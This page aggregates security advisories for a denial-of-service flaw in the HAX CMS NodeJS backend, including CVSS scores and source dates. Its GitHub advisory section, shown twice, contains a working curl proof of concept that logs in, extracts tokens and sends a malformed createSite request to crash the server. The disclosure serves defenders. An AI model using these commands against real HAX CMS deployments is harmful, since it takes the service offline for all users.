HAX CMS NodeJS application Vulnerable to Denial of Service using Malicious Import Request
cve-program · CVE-2026-46357
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
Read the publisher's advisoryeuvd · EUVD-2026-34897
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
Read the publisher's advisorynvd · CVE-2026-46357
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
Read the publisher's advisoryosv · GHSA-9r33-xhw8-4qqp
Published### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-46357
PublishedHAX CMS NodeJS application Vulnerable to Denial of Service using Malicious Import Request
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
- Source published
- 5 Jun 2026 19:21:03 UTC
- Source modified
- 9 Jun 2026 14:36:15 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-34897
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. …
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 5, 2026, 7:21:03 PM
dateUpdated: Jun 9, 2026, 2:36:15 PM
- Source published
- Jun 5, 2026, 7:21:03 PM (timezone not stated)
- Source modified
- Jun 9, 2026, 2:36:15 PM (timezone not stated)
- Saved here
- 15 Nov 2026 14:03:22 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2026-46357
PublishedHAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. …
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-20
Original publisher date fields
published: 2026-06-05T20:17:33.190
lastModified: 2026-07-23T07:10:00.113
- Source published
- 5 Jun 2026 20:17:33 UTC
- Source modified
- 23 Jul 2026 07:10:00 UTC
- Saved here
- 25 Oct 2026 12:17:14 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-9r33-xhw8-4qqp
PublishedHAX CMS: Denial of Service using Malicious Import Request
### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
- Source published
- 19 May 2026 19:51:51 UTC
- Source modified
- 10 Sep 2026 03:51:05 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Publisher rating · MODERATE